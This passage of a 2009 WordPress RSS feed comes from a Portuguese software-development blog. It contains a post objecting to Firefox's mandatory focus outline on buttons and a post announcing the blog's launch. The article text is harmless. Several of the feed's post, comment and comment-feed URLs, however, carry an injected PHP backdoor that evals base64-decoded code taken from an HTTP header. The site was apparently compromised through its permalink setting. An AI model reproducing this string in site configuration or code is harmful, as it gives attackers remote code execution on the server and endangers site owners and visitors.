		<comments>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 12:02:40 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[outline]]></category>
		<category><![CDATA[usabilidade]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=4</guid>
		<description><![CDATA[O Firefox é um navegador muito bacana, muito legal. Eu o respeito muito por ser o principal responsável por roubar fatia de mercado do Internet Explorer. Mas tem uma coisa que me irrita muito nele: o outline obrigatório que ele coloca nos links e botões.
Veja a imagem acima. Se você usa o Firefox, com certeza [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>O <strong>Firefox</strong> é um navegador muito bacana, muito legal. Eu o respeito muito por ser o principal responsável por roubar fatia de mercado do Internet Explorer. Mas tem uma coisa que me irrita muito nele: o <strong>outline obrigatório</strong> que ele coloca nos links e botões.</p>
<div id="attachment_7" class="wp-caption aligncenter" style="width: 216px"><img class="size-full wp-image-7" title="Outline no Firefox" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/outline_firefox.jpg" alt="A maldição do outline no firefox" width="206" height="89" /><p class="wp-caption-text">A maldição do outline no firefox</p></div>
<p>Veja a imagem acima. Se você usa o <strong>Firefox</strong>, com certeza já viu esse pontilhado ao redor de algum botão. Sabe por que eu o odeio? Porque ele é obrigatório. Não dá pra tirar. Na verdade, até dá pra tirar o <strong>outline</strong> dos links, mas caso use &lt;input type=&#8221;submit&#8221;&gt; ou &lt;button&gt; o seu botão vai ter o pontilhado ao redor e não tem <strong>nada </strong>que você possa fazer.</p>
<p>Só pra constar: <strong>Esse outline no firefox não é um bug</strong>! Esse marcador é colocado ao redor dos elementos por motivos de usabilidade. A idéia é sempre indicar visualmente onde está o foco. Aí o problema vem quando eu mesmo quero implementar uma forma diferente de indicar o foco, porque ele me obriga a continuar com o <strong>outline</strong>.</p>
<p>Outro dia eu estava trabalhando no meu projeto secreto com os outros fundadores do blog, e queria fazer um botão super bonito. Eu usei a tag &lt;button&gt; pra poder inserir imagens e texto lá dentro, pra criar um botão tão maneiro que seus olhos explodiriam de prazer. Depois de um tempão criando o botão, me deparei com o <strong>outline do firefox</strong>, que acabou com todo o mojo.</p>
<p>Sério, um <strong>quadrado pontilhado</strong> estraga completamente aquele botão super bonito, arredondado, com degradê e efeitos de mouse over.</p>
<p>Se você também se irrita com isso, fique feliz porque você pode pelo menos <strong>impedir que o outline apareça nos seus links</strong>. Basta declarar o seguinte no <strong>CSS </strong>para os seus links:</p>
<pre name="code" class="css">a {
    outline: none;
}</pre>
<p>Isso não funciona nos submits e buttons, entretanto. Não adianta nem tentar.</p>
<p>Ah, e se você procurar bastante na internet vai ter algum super gênio por aí sugerindo usar um <strong>código em javascript que tira o outline</strong> dos botões. Não faça isto em hipótese alguma! O que essa solução em javascript faz é tirar instantaneamento o foco do botão assim que ele recebe foco. Fazendo isso o usuário não pode manusear seu formulário (ou seu botão) pelo teclado, não pode chegar ao seu botão apertando TAB. Ou seja, fica uma porcaria.</p>
<p>Esse tipo de coisa acaba forçando o desenvolvedor a fazer algo totalmente não semântico, como usar &lt;a&gt; pra criar o seu botão de submit, só pra se livrar do <strong>outline</strong>. Algumas vezes essas bobeiras do navegador vão tão longe que até o google acabou usando &lt;div&gt; pra criar os &#8220;botões&#8221; que ele usa hoje em dia no <a title="Google Reader" rel="nofollow" href="http://reader.google.com"><strong>Google Reader</strong> </a>e no <a title="GMail" rel="nofollow" href="http://www.gmail.com"><strong>GMail</strong></a>. Pode ir lá olhar, é div!</p>
<p>Até onde eu sei, apenas o <strong>Firefox </strong>tem essa obsessão por <strong>outline</strong>. Espero que desistam disso em versões futuras. Na 3.5, quem sabe.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Madness?? This is Not For Dummies!!</title>
		<link>http://3folks.com/notfordummies/2009/03/18/madness-this-is-not-for-dummies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/18/madness-this-is-not-for-dummies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 14:38:05 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Off-Topic]]></category>
		<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=28</guid>
		<description><![CDATA[Olá, seja bem-vindo. Fique à vontade e puxe uma cadeira. Estamos começando agora o Not For Dummies, o mais novo blog sobre desenvolvimento de software do Brasil. Mas não queremos ser apenas mais um.
Existem vários outros blogs sobre desenvolvimento por aí, eu sei. Mas todos eles acabam sendo muito parecidos. A maioria dos blogs por [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Olá, seja bem-vindo. Fique à vontade e puxe uma cadeira. Estamos começando agora o <strong>Not For Dummies</strong>, o mais novo <strong>blog sobre desenvolvimento de software</strong> do Brasil. Mas não queremos ser apenas mais um.</p>
<p>Existem vários outros blogs sobre <strong>desenvolvimento </strong>por aí, eu sei. Mas todos eles acabam sendo muito parecidos. A maioria dos blogs por aí escreve sobre os primeiros passos no desenvolvimento, e só. Uau, maravilha! Quem procura informações de como fazer um hello world em <strong>PHP</strong>, ou como instalar o <strong>Ruby on Rails</strong> no Windows vai achar um monte de fontes, mas e quando a pessoa precisa de uma coisa um pouco mais avançada em português?</p>
<div id="attachment_29" class="wp-caption aligncenter" style="width: 329px"><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/not_for_dummies.jpg"><img class="size-full wp-image-29" title="Not For Dummies" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/not_for_dummies.jpg" alt="Você não verá isso no site" width="319" height="400" /></a><p class="wp-caption-text">Quantidade de Hello World = 0</p></div>
<p>O <strong>Not For Dummies</strong> vai fazer jus ao nome. Não vamos cair no lugar-comum, não vamos ficar escrevendo os mesmos posts básicos. Nossos textos não são<strong> for dummies</strong>, não são pro novato que nem sabe direito o que é <a title="XHTML" href="http://pt.wikipedia.org/wiki/Xhtml"><strong>XHTML</strong></a>. Isso não quer dizer que só quem é <em>expert </em>vai nos entender, claro. Mas você precisa ao menos já ter se iniciado pra entender do que a gente está falando. Falando assim parece até coisa de sociedade secreta.</p>
<p>O blog vai ser mantido por <strong>vários escritores diferentes</strong>. Nós reunimos um bom time de escritores e ainda planejamos aumentar a equipe em breve. Outra coisa é que o <strong>blog </strong>vai ser escrito de uma forma bem descontaída, sempre que possível. Talvez a gente até coloque uma piada no meio de uma explicação séria, só pra não ficar chato.</p>
<p>Acreditem em mim nisso: acompanhem o <strong>blog </strong>e vocês vão gostar. Eu agarantio!</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/18/madness-this-is-not-for-dummies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
